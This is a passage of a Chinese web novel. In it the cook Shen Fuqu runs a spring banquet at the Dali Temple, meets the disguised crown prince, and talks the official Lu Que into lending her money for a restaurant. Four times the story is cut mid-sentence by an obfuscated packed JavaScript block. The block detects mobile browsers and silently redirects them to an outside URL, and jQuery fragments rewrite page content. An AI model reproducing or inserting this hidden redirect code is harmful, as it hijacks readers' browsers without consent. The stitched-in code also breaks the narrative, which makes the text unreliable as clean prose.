周寺正终于得以进去汇报，先拣了硇砂案的事情说了，末了，才小心翼翼将话题转到春宴上来。 “大人有所不知，沈娘子现下病倒了，高烧不退，得好好歇几天不是？”周寺正言下之意是，没了主心骨，底下人还怎么干活？春宴迫在眉睫，大人你拿句话呀？ 陆却点头：“是——是该将养几日。” 周寺正说：“大人，春宴可就只剩半个月了！” “那好，换个厨子罢。”陆却又说。 周寺正一口淤血差点没喷涌而出，他就知道，他就知道！只要是和案子无关的事情，陆却一定会是这种轻描淡写的表情！ 换？换你二大爷！这是办案吗？说换就换？他就应该和张贵一样，辞官算了！ “周卿还有何事？”陆却见周寺正站着不动，问道。 周寺正还是不敢接话。 陆却淡淡道：“沈芙蕖明知春宴在即，却不顾轻重雨夜长跪受寒，本官没治她一个玩忽职守之罪，已经是给足了周大人面子。” 周寺正闻言浑身一颤，慌忙躬身告退，连官袍下摆都忘了捋平。出了签押房，他抹了把额角的冷汗，自去药铺拣了几味温补的药材，当归、黄芪、茯苓，都是顶好的成色，悄悄差人送去沈芙蕖住处。 沈芙蕖深陷梦魇之中。她恍惚站在汴河岸边，刺骨的河水漫过小腿，却仍不由自主地向河心漩涡踉跄而行。尖锐的卵石硌得脚底生疼，每走一步都像踩在刀尖上。河水渐渐漫至胸口，冰冷的压迫感让她喘不过气来，心口传来阵阵绞痛。 就在即将窒息之际，她恍惚看见陆却执伞而立，站在岸边静静凝望。那双素来冷峻的眼中，竟流露出一丝悲悯。河水已没过她的下巴，绝望之际，一只骨节分明的手突然伸来，牢牢握住她挣扎的指尖，一股力道猛地将她拽出水面…… 沈芙蕖猛地坐起，此时心跳如擂，她端起窗边的陶碗，喝了一口凉水，摸摸湿透的衣裳，才发现烧已经退去。 第二天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099595|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周寺正突然发现明镜堂又恢复了往日的热闹。 “看见这根红线没有！所有盘盏必须严丝合缝地对齐！” “骨碟堆过三成就要立即更换！” “醋碟一律摆在客人右手边，不得有误！” 沈芙蕖清亮的声音在厅堂内回荡，周寺正长舒一口气，天知道他这两日顶着多大压力，硬是没敢另聘厨子！ 正指挥间，沈芙蕖蓦然回首，唇角扬起一抹明艳的笑：“周大人，八道正菜均已备妥，可否劳您请陆大人来验收？”晨光透过窗户，在她鬓边镀上一层金边，哪还有半分病容。 “这……我这就去请。”周寺正微微含笑。 这八道菜是沈芙蕖精心挑选出来的，取八方太平之意，分别是清蒸鲈鱼、蟹粉狮子头、火腿煨春笋、八宝葫芦鸭、雪霞羹、鹿筋焖冬菇、荠菜鱼丸汤、素蒸鹅。 周寺正气喘吁吁地赶来，身后却不见陆却的身影。他擦了擦额角的汗珠，略显尴尬地拱手道：“陆大人说……他信得过小娘子的手艺，只说稍后会来查看明镜堂的布置。” 过了午时，陆却果然来了，他扫过厅内陈设，从案几的摆放到烛台的间距，无一遗漏。 “这布置，倒是雅致。”陆却忽然开口，声音里难得带着一丝赞赏。 沈芙蕖与周寺正对视一眼，紧绷的肩膀不约而同地放松下来。只见陆却踱至一张食案前，指尖轻抚过素白瓷瓶中的松枝青竹，唇角微扬。他确实未曾料到，沈芙蕖竟有这般清雅的审美。 “这瓶子里过于单调了。”陆却一共就提了这么一个意见。 沈芙蕖忙说：“禀大人，这里预备插一支素色芍药。” “芍药？”陆却仿佛陷入了回忆之中，半晌才说：“……芍药很好，不过，现下还不是芍药的花期吧？” 沈芙蕖眉眼一弯，笃定道：“只要民女想让它开，它就一定会开。大人且等着看便是。” 从明镜堂出来后，陆却对周寺正说：“此番筹备，周卿费心了。” 此话大有蹊跷，周寺正闻言一怔，先前不闻不问，如今怎的褒奖起来？ 陆却瞥了他一眼，淡淡道：“我今日得到消息，太子殿下亦会莅临春宴，周大人，此事莫要声张。另外，屏风要多备一幅了。” 周寺正闻言，心头猛地一颤，险些当场失态。这太子殿下怎的突然要来？ 他暗自思忖：好在传闻这位储君是个不谙世事的少年郎，凭着陆大人与东宫那层不足为外人道的关系，想来应付过去也不难。 这般想着，倒也稍稍定神。当朝太子年方十九，生母淑妃早逝，自幼养在皇后膝下。周寺正偷眼瞧了瞧陆却的离去背影，若当年谢姑娘还在世，按着姻亲关系，陆大人私下里还得唤太子一声“表外甥”呢。 沈芙蕖盘腿坐在小榻上，铜钱在地上排成一列，交子薄薄几张也依次展开。她将这几日攒下的银钱数了又数，春宴的赏钱若是到手，离她在汴河边上开酒楼的梦想，便又近了一步。 11. 第十一章 如此便到了春宴当天。大清早，沈芙蕖和周寺正便提着纱灯来到明镜堂。 地上排开十二口青瓷缸，每口缸里都浸着从洛阳快马加鞭运来的芍药花苞。这些花苞裹着深紫色的萼片，像襁褓中熟睡的婴孩，沉甸甸地坠在墨绿的枝条上。 沈芙蕖蹲下身，指尖抚过一支格外饱满的花苞，萼片上的露珠便簌簌滚落，在灯下泛着珍珠般的光泽。 “沈娘子确保能让这些芍药开花吗？”周寺正瞪圆了眼睛盯着灶上沸腾的铜壶。 壶嘴正冒着滚滚白气，显示温度已经很高。“大人呐，你就把心放在肚子里吧，我催一下花就好。”沈芙蕖取来一方素帕垫着壶柄，将滚水缓缓倾入第一口瓷缸。 水流沿着缸壁蜿蜒而下，热气顿时蒸腾而起，裹着花苞的萼片竟以肉眼可见的速度变得透明，隐约透出里头雪白的花瓣。 周寺正倒吸一口凉气：“咋这个催法啊？这、这岂不是要烫坏了？” “那不会的，《群芳谱》有记载，滚水逼其气，凉水定其魂。”沈芙蕖边说边往缸中兑入凉水，动作轻缓。 她指尖轻点水面，荡开的涟漪中，一支花苞突然绽开一线，露出里头层层叠叠的瓣尖。 随着此起彼伏的轻响，满室花苞次第绽放。最先开的那朵形若金盘，外瓣舒展如流云，内瓣却紧紧簇拥成团，花心吐出几缕金丝般的花蕊，花瓣边缘生着细密的锯齿，像裙裾上的刺绣。 没过一会，满室芍药已开得云蒸霞蔚，沈芙蕖挑出开得最盛的插入素瓶。 周寺正又是一阵赞叹，暗自感慨沈芙蕖真是个妙人：“沈娘子真是让我刮目相看！” 周寺正和沈芙蕖摆放完芍药花后，沈芙蕖说：“午宴开席尚早，周大人，膳房备了些粟粥，要不一同用点？” 周寺正此时饥肠辘辘，自然忙不迭答应。两人正走出明镜堂，忽然看见廊下站着个紫衣少年。 这少年不过十八九岁，穿着一袭雨过天青色的紫罗袍。转过脸来，饱满的额头下是一双微微上挑的凤眼，瞳仁黑得发亮，嘴角也天然上扬，不笑时也像含着笑意，看人时总带着三分好奇，倒把满身贵气冲淡了几分。 “太……”周寺正膝盖刚弯到一半，就被少年一个眼神止住。 “周大人，别来无恙啊，这般早就开始张罗了！这位是——” 沈芙蕖虽不识来人，但见其通身气度不凡，便规规矩矩福了一礼：“民女是大理寺新聘的厨娘，我姓沈。” “哦？”少年把扇子一展，面若桃花，笑道：“大理寺这和尚庙竟然来了个天仙般的沈娘子，真是有趣！陆却呢，怎么不见他人？” 周寺正吓得魂飞魄散，硬着头皮道：“您怎么来得这么早……陆大人此刻应该在签押房内。” 少年神采飞扬，把折扇一收，对沈芙蕖介绍道：“我是陆却的表弟，我姓赵，字清晏。今天也是来凑凑热闹的。是吧，周大人！” 周寺正频频点头，额头的冷汗都要凝住了，不是，太子殿下咱能不闹了吗？你借陆却十个胆子，他也不敢以你表哥相称啊。 沈芙蕖不疑有他，心想，原来是陆却的亲戚，难怪举手投足间矜贵天成。 “周大人，离午膳还有些时辰。”赵清晏眨了眨眼，目光却落在沈芙蕖身上：“方才听说备了粟粥，不知可否让我先垫垫肚子？” 沈芙蕖微微一怔，随即抿嘴笑道：“自然可以。今日特意多熬了些，还包了猪肉大葱馅儿的蒸饺。” 周寺正勉强挤出笑容：“太……太好了！赵小官人……这边请。”他袖中的手微微发抖，生怕这位贵人再说出什么惊人之语。 膳房里，赵清晏在沈芙蕖惊讶的目光中，连饮三碗粟粥，又风卷残云般吞下二十个蒸饺，要那蒸饺个个有手掌大小，馅料饱满得几乎要撑破面皮。 “痛快！”少年满足地揉着肚子，像是自言自语又像在抱怨：“周大人有所不知呀，在家用膳时，我才动几筷子，下人们就急着撤膳。整日饿得慌！” 周寺正赶紧递上手绢：“赵小官人，您这吃饱了，要不要出去溜达消消食？” 赵清晏慢条斯理擦擦嘴：“不急，周大人，你去忙你的，不用管我，我不会误了午宴时辰的。” 周寺正一身的事情要忙，内心焦灼，又不敢真的抛下他不管，心里骂道每日跟在太子殿下后面的内侍都到哪里去了？竟让他在大理寺到处乱跑！ “沈娘子，你一会要做什么呀？我可以一起吗？”赵清晏觉得沈芙蕖好说话一些，于是又把脸转向她。 沈芙蕖只觉得他眼睛湿漉漉的，像摇着尾巴的小狗一样，心里一软：“我正要备菜呢。你看这一地的荠菜、笋子、冬菇，都是刚摘下来的，都得洗净切好。” “是啊是啊，赵小官人，一会这膳房烟熏火燎的，都没地方落脚，您可就别在这添乱了！”周寺正急得直搓手，赶紧劝道。 如此，赵清晏便恋恋不舍离开了膳房。 最先来赴宴的是盐铁司官员，为首的刘转运使刚跨过门槛，便暗自惊奇，往日萧条的明镜堂前，竟蜿蜒着一条白碎石铺就的小径，灌木丛中有两只白鹤闲庭信步。 他正驻足欣赏，听见户部度支司的几位大人正围着堂前的屏风啧啧称奇，六扇紫檀屏风上不是寻常山水，而是用银线绣着些律法条文，其中第三扇，疏议文字组成了山川的轮廓，须要退后三步才能瞧出端倪。 待到这些大人全部落座，他们又陆续发现案上茶盏暗藏机巧，爱竹者杯底隐现潇湘竹影，喜梅者盏中暗浮梅魂。 太子那边，特意用屏风围住四周，不以示众，凡是送来的小食，皆有内侍用银针试毒，亲自尝过才行。待东道主陆却入座以后，周寺正轻叩茶盏，示意起菜。 十二名身着靛蓝短打的婢女应声而动，每人手托木色食盘，盘上扣着青花银罩，沿着碎玉小径鱼贯而行，步履轻轻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099596|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在尝过四道精美前菜后，满座朱紫翘首以待。 周寺正摇头晃脑道：“第一道，明镜鲈鱼！”银罩揭开时，满堂惊叹。那鲈鱼卧在青玉盘中，鱼身剞出的柳叶纹里嵌着嫩黄的姜丝，鳞甲微张，浇着秘制豉油，鲜美至极。 “第二道，金玉满堂！”这次银罩下腾起袅袅白雾，待雾气散尽，才见四个狮子头排成梅花状，每个表面都淋着金灿灿的蟹粉。 周寺正满意地看着众人吃相，哪还有平日官场上的威武？这个忍不住连鱼带汤扒进碗里，汤汁溅在袍襟上也浑然不知。 那个被蟹粉狮子头烫了舌尖，金黄油亮的蟹粉沾在花白的胡须上，随着咀嚼一颤一颤，后来索性直接上手托住，生怕漏掉一滴汤汁。 唯陆却吃得斯文。他先将鲈鱼眼周最嫩的肉剔下，慢慢吸了盘底的汤汁，才不紧不慢夹起鱼肉送入口中。 “早知大理寺春宴办得不比皇家差，我们去年就来了！”刘转运使放下银筷，笑着活跃气氛。 度支副使立即接话，举杯向陆却示意：“刘大人所言极是！陆大人审案如神已是朝野皆知，没想到府上的厨艺更是了得。下官斗胆提议，往后大人该多设几回这样的宴席，也好让我等多多领教才是。” 满座官员闻言纷纷附和，举杯的手腕却都绷得紧紧的。谁不知道这“多走动”三字背后，藏着多少打探消息的心思。 陆却也举杯回敬，淡淡道：“此番春宴乃奉圣谕而设，大理寺上下竭尽所能方勉强成宴。若再多办几回，只怕度支司的弹劾折子就要堆满陛下的案头了。” 此话一出，满堂寂静，唯有太子那边“噗嗤”一声笑出来，度支司的脸色就变得不太好看了。 “陆某不过说笑了，诸位若想常来走动，正好有几桩案子需三司会审，还望诸位拨冗相助。”陆却又接着说。 “这是哪里的话！三司会审乃是为朝廷分忧，为百姓请命，下官等自当竭尽所能！”一位大人带头说道。 满座官员顿时附和声四起，你一言我一语，将方才的剑拔弩张冲散得无影无踪。觥筹交错间，不知是谁先起了个酒令，席间又恢复了先前的热闹。 膳房里，灶间的热气将沈芙蕖的脸蒸得绯红，额前碎发早已被汗水浸透，黏在鬓角。“老郑头，火要再旺一些！” 老郑头听言，用铁钳继续往灶膛里添松柴，这么多天朝夕相处，两人的默契早就练出来了，那火候多一分则沸，少一分则凝。 哑姑的菜也切得极漂亮，薄厚分毫不差，大小适中，长短相同，除了备菜，也帮着王庖长打下手。 “好了好了！”王疱长掀开蒸笼，白雾轰然腾起，笼中八宝鸭的蒲草绳还差最后一道结。他在滚烫的竹笼边缘一触即离，却已灵巧地将绳结收成如意扣。 “第四道——福禄双全！”周寺正迫切介绍着：“这都是太湖送来的麻鸭，里面填的是八宝馅料，诸位大人请慢用！” 12. 第十二章 说到这麻鸭，在场有几个是从江南新调任到汴京的官员，于是便打开了话匣子，说着湖州初秋的荷塘里，成群的麻鸭游在花间叶下嘎嘎畅游，鸭肉吃起来丰腴醇厚。 又说到莲子、百合、鸡头米、菱角和粉嫩的芋艿等江南水乡小食，看似回忆过去官场上的点点回忆，实则说这道八宝鸭缺少些水乡风味。 陆却静静听着，又说：“本官素来粗疏，莫说这道八宝鸭了，便是汴京筒子鸡该用黄腹鸡的讲究，也是尝不出来的。惭愧，只怪本官向来不在饮食上讲究。” “是是，下官也不讲究，只是偶尔尝个鲜。”再说下去，恐怕就有人疑心他江南历练时只顾着搜刮民脂民膏了，那人讪讪低头，再不敢大放厥词，专心对付盘中鸭肉。 赵清晏坐在屏风里，又笑了一声，对旁边的内侍说：“瞧瞧！你别看陆却平时跟锯了嘴的葫芦一样，真怼起人来，这张嘴也是够用的。” 内侍给他夹了一块鸭肉，皱着眉头说：“殿下请慎言。” “嗨，你说你们总是这样一板一眼的有什么意思。吃个饭也这样，好生无趣。瞧这些朱紫袍们，明明是来看笑话的，非要装得一本正经。”赵清晏不满道。 内侍见赵清晏的筷子又向麻鸭夹去，不动声色把这盘菜挪远了一些。 赵清晏的失落不过一瞬间，很快又欢快道：“下道菜是什么呢？” “雪映丹霞”和很快端入席中。豆腐雕作流云状，洒上枸杞、竹荪，汤色清澈，清爽解腻。 一同端上桌的还有“青云踏雪”，原来是一道鹿筋焖冬菇，鹿筋胶质丰腴，炖得软糯，冬菇吸尽汤汁，无比鲜美。 赵清晏吃得快活，连平日里的郁闷也一扫阴霾，不知不觉多喝了几杯酒。 酒过三巡，陆却作为东道主，少不得要带上大理寺众卿挨桌敬酒，于是执壶起身。 今个春宴，陆却简直是舌战群儒，将诸公暗藏的机锋一一化解而去，在座的没有一个讨到好处，全部暗自吃瘪，所以眼下憋着劲要在酒桌上讨回些颜面，轮番灌陆却酒。 周寺正跟了偷眼打量自家大人，陆却步履稳健，吐字清晰，面上连半分醉意也无。 可这反倒让他心里打起鼓来，大理寺经年不办宴席，陆大人又素来深居简出，这酒量究竟如何，实在难以揣度。 这第一敬，自然是敬屏风内的太子殿下，陆却循规蹈矩行礼，广袖一展，行了个端方大礼：“臣等叩谢天恩。” 周寺正见状，这才稍稍安心，跟着众人说些“圣恩浩荡”“福泽绵长”的场面话。 周寺正见赵清晏大快朵颐，便弓着身子凑近屏风，眼角堆出几道褶子：“殿下觉得这春宴可还入眼？菜肴可合口味？”话语间透着掩不住的得意。 赵清晏正忙着将最后一块鹿筋送入口中，闻言接过陆却递来的酒杯，喉结滚动间已饮尽盏中琼浆。“好一个八珍列案承天禄，一席春风动九衢！这般用心操办之人，合该重赏才是。陆卿以为呢？” 周寺正闻言，笑得连胡子尖都翘了起来，连日来的疲惫都在这句话里烟消云散。 “臣遵旨。大理寺向来奖罚分明，此番定当论功行赏。”陆却恭敬回答。 赵清晏将扇儿一展，小声道：“陆却，你幼时在御花园偷摘枇杷时可不是这般模样，现在一板一眼的，可真无趣。” 陆却听言连眼睛都没眨一下，说道：“臣知罪。” 赵清晏见小时候的玩伴变成这样毫无生气，忽觉满桌珍馐都失了滋味，寻个更衣的由头便离席而去。 沈芙蕖正安排着送上最后几道甜品，忽而听闻陆却要赏膳房上下，不禁喜上眉梢，一转角便碰上了出来透气的赵清晏。 “沈娘子！方才在席间，我听表哥说要给你们赏钱呢！”赵清晏作了个揖，向沈芙蕖道贺。 他喜欢和沈芙蕖在一起，沈芙蕖年纪虽然比他还小一点，但做事稳重，更像一个温柔的大姐姐。 “是呀，足有三十贯呢！”沈芙蕖得了赏钱，眼角眉梢都荡漾着喜色，从侍婢盘子里拈过一颗“金齑玉脍”放在赵清晏手里：“拿着！酥皮里面裹着玫瑰酱，刚烤出来的，你尝尝。” 赵清晏咬破酥皮的刹那，玫瑰的香味溢出，满口留香。他疑惑地想，三十贯很多吗？为什么她会这么高兴？开心这么简单吗？ 沈芙蕖其实能察觉到，眼前的少年虽然总是嘴角含笑，可笑意不及眼底，像画上似的，总不经意间流露出一种淡淡的惆怅。 不过她想，这少年看着锦衣玉食的，能有什么烦恼，不过是“少年不知愁滋味，为赋新词强说愁”罢了。 赵清晏晃了晃腰间沉甸甸的荷包：“沈娘子是长留大理寺当差吗？以后我能常来讨口吃的吗？我给钱的。” “不是，我只是暂管春宴膳事。明天我大概就要离开大理寺了，不过，我在草市坊有个摊子，眼下虽只摆着食摊，但总归要开间酒楼的。到时你若来，我定当烹茶扫榻相迎。” 沈芙蕖抿唇一笑，从怀中取出一张素笺，上面密密麻麻列着各色小食名目，她将食单递过去：“你若是馋了，提前一日知会，便有人送过去。” 赵清晏接过还带着体温的纸笺，眼中闪着新奇的光，心想，宫墙外头的地方，我总要见识一回的。“草市坊啊……我还没去过……” 赵清晏忽瞥见回廊尽头内侍焦急张望的身影，只得将食单仔细折进袖中，对沈芙蕖说：“改日我定去叨扰，沈娘子，你等我罢！” 他的语气里透着不同寻常的郑重，字字句句不似寻常客套，倒像是立下什么誓言。 沈芙蕖望着少年认真的眉眼，这话从他口中说出，便如同盖了印的契书，定会兑现，沈芙蕖笑着应了一声：“我等你。” 这场春宴办得极是圆满，饶是那些素来与陆却不对付的官员，对着满案珍馐也挑不出半分错处。 周寺正更是将沈芙蕖夸得天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099597|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有地下无——从她调配菜品的玲珑心思，到打点人情的周全妥帖，再到那堪比御厨的精妙手艺，直夸得姑娘家双颊绯红，连连摆手推辞。 宴后论功行赏，膳房众人皆得了厚赐。太子殿下每人赏下五两银锭，周寺正更是给众人放了旬日休沐。沈芙蕖细细清点，将今日赏赐与往日积蓄归在一处，竟有百贯之数。 她倚着窗户，在算盘上拨弄起来：若要在草市坊开间饭馆，光是那临街三开间的铺面，月租便要十五贯，还得押三付一。添置桌椅灶具、定制匾额幌子，少说也得五十五贯。再加上食店的年税十二贯、市籍登记费三贯，这般算来，单是基础开销就要一百三十贯。 这还没算上首月的米面油盐、鱼肉菜蔬，少说二十三贯。若是再雇上一名厨娘、三个跑堂并一个杂役，每月工钱又要十五贯。她还要再留些余钱应对不时之需，少说也得备足二百贯才稳妥。 沈芙蕖等不下去了。 她的芙蕖小吃摊生意实在太好，每日里食客络绎不绝，倒把周遭摊贩的生意都抢了去。那些摊主们明里暗里的闲话，她不是没听见，今日是嫌她摊前太挤，明日又怪她香味太浓。这般下去，迟早要遭人排挤暗算。 不如趁早租个正经门面。可那一百贯的缺口，该向谁开口？ 周寺正是指望不上的。这位大人惧内是出了名的，连给家中两位小娘子买卤鸭的钱都要赊账。 草市坊的左邻右舍就更不必说，那些卖炊饼的、熬糖水的，哪个不是靠着她的剩菜剩饭接济度日？ 沈芙蕖环顾这间住了月余的厢房，手指抚过墙上浅浅的划痕。铜镜里映出她簪着芍药的模样，那绯红的花瓣正开得恣意，倒像是替她说尽了这些时日的欢喜与不舍。 周寺正的声音传来：“沈娘子！你还没走啊？那太好了……陆大人被那群老狐狸灌得不轻，方才在席间还能强撑着，这会儿醉得有些厉害，沈娘子能不能煮碗解酒汤来？” 沈芙蕖匆忙把芍药又摘下，应道：“那我冲碗葛根粉，稍等片刻。” 铜铫中水沸后，沈芙蕖下了两三片陈皮和姜片，用小火煨至水剩七分，滤去渣滓。 挖两勺葛根粉，沿着盏壁将水缓缓注入，葛根粉在漩涡中舒展成半透明的云絮，几粒未碾净的粗粒沉在盏底，被沈芙蕖用匙尖细细碾开，最后加蜂蜜搅匀，一碗香甜可口的葛根粉便冲好了。 “大人在值房里歇息，劳烦沈娘子送一趟吧。这往来宾客我还没送完，沈娘子莫担心，我家大人虽然醉得厉害，却最是守礼，断不会唐突了娘子。”周寺正朝沈芙蕖拱手。 沈芙蕖轻轻应了一声，将调好的葛根粉仔细倒入青瓷食盒，说道：“我这就送去，周大人且安心待客罢。” 这值房的路，沈芙蕖早已走得熟稔。这半月来送早膳的光景，让她闭着眼都能摸到门前。沈芙蕖此时不禁疑惑，这陆大人好好的府邸不回，日日歇在大理寺是为何？难道案子真多如牛毛吗？ 13. 第十三章 沈芙蕖朝值房外候着的两个杂役招了招手。 那二人小跑着过来，脸上堆着笑：“沈娘子有何吩咐？” 她明了明手中的食盒：“周大人让我送醒酒汤来，我一个女子不便进去，劳烦二位服侍陆大人用下。” 两个杂役面面相觑，谁也不敢伸手接。其中一个壮着胆子道：“沈娘子有所不知，陆大人最是讲究。平日里案上的一支笔、一本书，我们都不敢乱动，更别说近身伺候了。” 沈芙蕖暗自觉得好笑，人都醉得不省人事了，还讲究这些？转念又想，这些在陆却手下当差的，确实战战兢兢，生怕一个不慎就丢了饭碗。 罢了，就再替周寺正再做一件事。她轻叹一声，伸手轻轻推开值房的木门。往日送早膳都是交给杂役，这还是她头一回踏进这间屋子。 扑面而来的是一缕清冷的松墨香。房间不大，却处处透着主人克制的讲究。 东窗下摆着一张书案，镇纸压着些许纸张。案上公文分作三摞，朱批过的整整齐齐码在左，待阅的居中，右侧则是薄薄一叠私人手札，显得非常有条理。 北墙立着七层榉木书架，每层都贴着黄签，书册按照高矮码得整整齐齐。 临窗小几上供着个白瓷瓶，里头斜插三两枝青竹。旁边便是木衣桁，上面挂着件绯色官服，没有一丝褶皱。 陆却的一声轻哼让沈芙蕖回过神来，自己竟站在门口将这方寸之地打量了许久。而榻上那人呼吸匀长，醉梦中还蹙着眉。 素日里束得一丝不苟的发冠早已松散，几缕乌发垂落在苍白的颊边。他的气质一直是疏离的、冷淡的，很容易让人忽略他这漂亮的皮囊。 沈芙蕖费力托起他的上半身，找了两个软枕垫在他的腰后，他醉得厉害，却在她动作时无意识地微微侧身，好让她省些力气。沈芙蕖也没想到这位素日里不近人情的陆大人，此刻竟乖顺地任她摆弄。 沈芙蕖轻轻拍了拍他的脸颊，柔声道：“陆大人，醒醒。” “……阅了。”陆却眼皮动了动，含糊地吐出两个字，喉结滚动间带出淡淡的酒气。 沈芙蕖没听清，又凑近了一点：“你说什么？饿了？”不是才用过午膳的？ 再一看，陆却根本就没醒，眉心拧得更紧。他怎么连睡觉也皱着张脸？鬼使神差地，沈芙蕖忍不住伸手抚上他的眉头，想要将他的眉头舒展展开。 陆却在这时醒过来了，但他却一动不动，他闭着眼，能清晰地感受到眉间那抹温软的触感。 沈芙蕖并不用熏香，但总有说不清的清冽气息，像是晨露未晞时的青草，又像是晒过太阳的新麦。 她僭越了，她不应该存有这样的心思。这个念头在心底一闪而过，他本该立即睁眼呵斥，可身体却违背了理智，贪恋这片刻的温存。 沈芙蕖渐渐松开了自己的手，站起身来，不免自嘲起来，在这阶级意识如此之重的时代，大理寺卿，可不是她一个小小厨娘能够肖想的。 她转身将食盒打开，从里面捧出一只碗来，一转头便看见陆却一双清冷的眸子审视着她，既疏离，又冷淡。 目光清明得不像醉过，却又冷得仿佛从未被她抚平过眉心。 “大人醒了就好。周大人嘱我送来的醒酒汤，此刻温度正好。”沈芙蕖将青瓷碗稳稳托在掌心。 “好，有劳了。”陆却说，但丝毫没有接过那碗的意思，反而盯着她，那眼神仿佛在说，汤已送到，还不退下？ 沈芙蕖没忘此行的真正目的，不动声色地挺直了腰背。 她早听闻陆家世代巨富，先祖陆衡掌吴越盐铁，千艘盐船横行东海。祖父陆昉献策太宗，坐拥汴河码头，传到陆却这代，名下商铺竟有三百余间。 这般泼天的富贵，他便是躺着吃十辈子也吃不完，何须日日熬在这大理寺案牍劳形？ 她忽然开口：“陆大人，可否借我一百贯钱？”见陆却眉头微蹙，她又急忙补充：“不，严格来说不是借钱，是邀您入股。我打算在草市坊开间食肆，堂食外卖都做。眼下只差些本钱，您若肯投资，亏了算我的，赚了您拿分红。横竖对您来说，不过九牛一毛。” 陆却一脸错愕，以为自己听错了，她竟然找自己开口借钱？更荒唐的是，她还要拉他入股食肆？ 沈芙蕖却直视着他，眸中没有半分退缩。 半晌，陆却开口：“你可知一百贯是多少？”一百贯够汴京一户普通的五口之家维持三年多的基本生活了。 “知道。”沈芙蕖答得干脆。“对大人不过九牛一毛，对我却是开店的底气。” “沈娘子，我不缺钱。”言下之意便是婉拒了。 沈芙蕖连忙开口：“大人自然不稀罕这点银钱，可容民女细说。这食肆若成，少说要雇五六个人。厨娘掌勺，跑堂传菜，杂役洒扫，还有专司送膳的脚夫。每日采买的鲜鱼活鸭，能养活草市坊几个摊贩。米面油盐，又够西郊一家磨坊开工。大人坐堂审案是护佑百姓，我开这食肆，何尝不是在护佑那些要养家糊口的人？” 陆却原本半垂的眼帘抬起，深潭般的眸子直直望进沈芙蕖眼底。那目光锐利得仿佛要剖开她这番话的每一层含义，是真心为民请命，还是另有所图呢？ “你倒是……很会说话。”陆却的声音比往常低沉，尾音拖得略长，却始终不肯给沈芙蕖一个肯定的回答。 沈芙蕖见陆却有所松口，又说道：“自前岁南征，汴京城里涌进多少流民？草市坊便占了大半。他们无田可耕，只能做些小本买卖。今日争寸地，明日抢客源，闹到大理寺的案子，十桩里怕有三桩是这般缘由。若人人都有份安稳营生，谁愿做那作奸犯科之徒？大人审过的案卷里，多少人是被生计所迫？” 她忽又展颜一笑说道：“我的底细大人早查得明白，纵使借我十个胆子，也不敢卷款潜逃。这笔钱，我自然会写下欠条，白字黑字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099598|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，明明白白，您若还不放心……” “我借你。”陆却打断她的话。不过是一百贯钱，他拿出来还算轻松。可是转念又想，自己是不是还没酒醒，就这么把钱借出去了。 “不过，我现下身上没带这许多银钱，等明天放衙了，我差周寺正给你送去。”陆却突然想起，春宴结束，想必她明日便要搬离大理寺了，又说：“沈娘子，我绝没有看不起草市坊的意思，只是你如今身怀巨资，还是寻个稳妥住处为好，我实在怕你被贼人惦记上……” 话没说完，沈芙蕖便欢呼雀跃跑了出去：“太好啦！我终于要开店啦！” 门外那两个杂役又面面相觑起来，头一次看见跟陆大人说话还能这般高兴的。 其实沈芙蕖早就相中了一个铺子，位于草市坊东南角，是座前店后宅的两进小院。推开门板，迎面是六扇可完全卸下的雕花槅扇，天暖时全部敞开，食客便能望见当街支起的三眼柴灶，这可是招徕行人的活招牌。 前厅方方正正，丈二见方，原主人留下的砖面被油渍浸得发亮，反倒省了她打磨的功夫。穿过天井便是后厨，半人高的水磨石台面，三口七印大铁锅，可以让沈芙蕖尽情发挥。 后院厢房改可以住人，推窗正对株老梅。沈芙蕖已经想好，冬日在这里设暖寒会，红泥小火炉煨着菊花锅子，一定能暖心暖胃。 她几乎是立刻小跑着敲开木器行的门，掏出钱来拍在案上：“这是定金，我要四张榉木八仙桌，二十条长凳，半月内交货。要是有一点破损，尾款我是不会付的。” 